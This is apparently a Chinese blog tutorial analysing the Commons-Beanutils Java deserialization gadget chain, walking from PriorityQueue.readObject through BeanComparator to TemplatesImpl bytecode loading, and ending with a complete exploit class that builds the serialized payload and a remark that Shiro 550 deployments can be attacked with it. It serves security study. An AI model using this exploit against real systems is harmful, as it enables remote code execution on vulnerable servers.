首页 > 编程语言 >Java反序列化Commons-Beanutils篇-CB链

Java反序列化Commons-Beanutils篇-CB链

时间:2023-07-30 22:56:19浏览次数:42  
标签:TemplatesImpl Java name queue new 序列化 Beanutils public 属性

<1> 环境介绍

jdk:jdk8u65
CB:commons-beanutils 1.8.3
pom.xml 添加

<dependency>
      <groupId>commons-beanutils</groupId>
      <artifactId>commons-beanutils</artifactId>
      <version>1.8.3</version>
    </dependency>
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>

<2> 什么是CommonsBeanutils和JavaBean?

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

那 什么是JavaBean呢?

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

在java中,有很多类定义都符合这样的规范

比如这样一个类

public class Person {
	private String name; // 属性一般定义为private
	public Person(String name) {
        this.name = name;
	}
	public String getName() {  //读方法
		return name;
	}
	
	public void setName(String n) {  //写方法
		name = n;
	}
}

它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter

这种 class 就是 JavaBean

用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法

只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:

  • 对应的读方法是int getAge()
  • 无对应的写方法setAge(int)

类似的,只有setter的属性称为只写属性(write-only)

注:属性只需要定义getter和setter方法,不一定需要对应的字段,例如,child只读属性定义如下:

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }

    public boolean isChild() {
        return age <= 6;
    }
}

<3> CommonsBeanutils利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

比如:

Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象
中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个
方法,使用者可以很方便地调用任意对象的getter

因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。

commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到 不再叙述

<4> 利用链分析

在前面的CC链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce

它的链子为:

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

重点看:TemplatesImpl#getOutputProperties()

getOutputProperties()方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter

那么往上找链子,CB链里 哪个位置调用了getProperty呢?

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其TransformingComparator的compare方法,进而调用了transform链的调用

而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,其内部会调用我们前面说的 getProperty 函数,进而调用 JavaBean 中对应属性的 getter 函数

这里会调用PropertyUtils.getProperty()方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链

那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 PriorityQueue.readObject()

因此整体的CB链就是

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

前面的CC2文章提到了,queue的size应该>2。 而add()也会执行compare由于在BeanComparator#compare() 中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。

BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);

初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们
再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的
TemplateImpl 对象

setFieldValue(comparator,"property","outputProperties");

与CC2/4 略微不同的是,还需要用反射去修改 queue属性的值,因为要控制 BeanComparator.compare()的参数为恶意templates对象

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数

EXP如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1vxyz");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates, "_bytecodes", codes);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
        setFieldValue(comparator,"property","outputProperties");
        serialize(queue);
        unserialize("CB-bin/CB1.bin");
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
            Class clazz=object.getClass();
            Field declaredField=clazz.getDeclaredField(field_name);
            declaredField.setAccessible(true);
            declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

shiro550中自带CommonsBeanutils 1.8.2 和 commons-collections-3.2.1的依赖,可以利用此条链进行攻击

标签:TemplatesImpl,Java,name,queue,new,序列化,Beanutils,public,属性
From: https://www.cnblogs.com/1vxyz/p/17588722.html

相关文章

  • 基于JAVA的程序设计语言网上考试系统
    科技进步的飞速发展引起人们日常生活的巨大变化,电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流,人类发展的历史正进入一个新时代。在现实运用中,应用软件的工作规则和开发步骤,采用Java技术建设VisualC程序设计......
  • Java集合之一——HashMap(辨析)
    看到一篇讲hashmap的文章,讲的很不错,但是有一点我觉得作者没有讲清楚,这里我说一下自己的理解。原文,先看原文:https://blog.csdn.net/woshimaxiao1/article/details/83661464前文概述,该博客的主要内容如下:1.什么是哈希表(主干为数组)、什么是哈希冲突、如何解决哈希冲突。这些大都......
  • Java之日志
    Java之日志概述日志可以用来记录程序运行过程中的信息,并可以进行永久存储。优势可以将系统执行的信息选择性的记录到指定的位置(控制台、文件中、数据库中)可以随时以开关的形式控制是否记录日志,无需修改源代码 输出语句日志技术输出位置只能是控制台可以将......
  • java读取txt文件解决乱码问题
    说明:由于txt文件有bom和不同的编码方式,导致导入数据时产生乱码,以下代码完美解决乱码问题。参考他人代码,结合自己的业务加工完成,费了大半天功夫完成,希望对大家有点用处。废话不多说,直接上代码:/***从txt文件流读取数据**@paramtxtStream*@return......
  • Java学习6-面向对象基础 成员变量、成员方法、构造方法、this关键字、静态字段、静态
    一、面向对象概述面向过程开发,其实就是面向着具体的每一个步骤和过程,把每一个步骤和过程完成,然后由这些功能方法相互调用,完成需求。面向过程的代表语言:C语言当需求单一,或者简单时,我们一步一步去操作没问题,并且效率也挺高。可随着需求的更改,功能的增多,发现需要面对每一个步骤很麻......
  • “Java:不支持发行版本5”的解决方案
      cltr+shift+alt+s出现此页面 本地安装的jdk是8版本,所以这里显示的就是8版本,这里没有问题向下找module模块发现这里的“langeagelevel”是5将它修改成对应的版本  到File里找Settings→ Build→Compiler → javacompiler 修改成对应java版......
  • Java之异常
    Java之异常概述异常是什么?异常是代码在编译或者执行的过程中可能出现的错误异常分为几类?编译时异常、运行时异常。编译时异常:没有继承RuntimeExcpetion的异常,编译阶段就会出错。运行时异常:继承自RuntimeException的异常或其子类,编译阶段不报错,运行可能报错。学......
  • java中判断图片格式并且等比例压缩图片
    最近项目中需要判断上传的图片必须是png,jpg,gif三种格式的图片,并且当图片的宽度大于600px时,压缩图片至600px,并且等比例的压缩图片的高度。具体的实现形式:大致的思路是:判断根据文件名判断图片的格式是否是png,jpg,gif三种图片文件  定义了 方法如果是的,则进入到scaleImage(Stri......
  • 关于Java的多线程实现
    多线程介绍进程:进程指正在运行的程序。确切的来说,当一个程序进入内存运行,即变成一个进程,进程是处于运行过程中的程序,并且具有一定独立功能。线程:线程是进程中的一个执行单元,负责当前进程中程序的执行,一个进程中至少有一个线程。一个进程中是可以有多个线程的,这个应用程序也可以......
  • JAVA实现海报背景填充qrCode
    packagecom.open.openbank.qrCode;importjavax.imageio.ImageIO;importjava.awt.*;importjava.awt.geom.RoundRectangle2D;importjava.awt.image.BufferedImage;importjava.io.File;importjava.io.IOException;/***生成海报*/publicclassPosterTest{......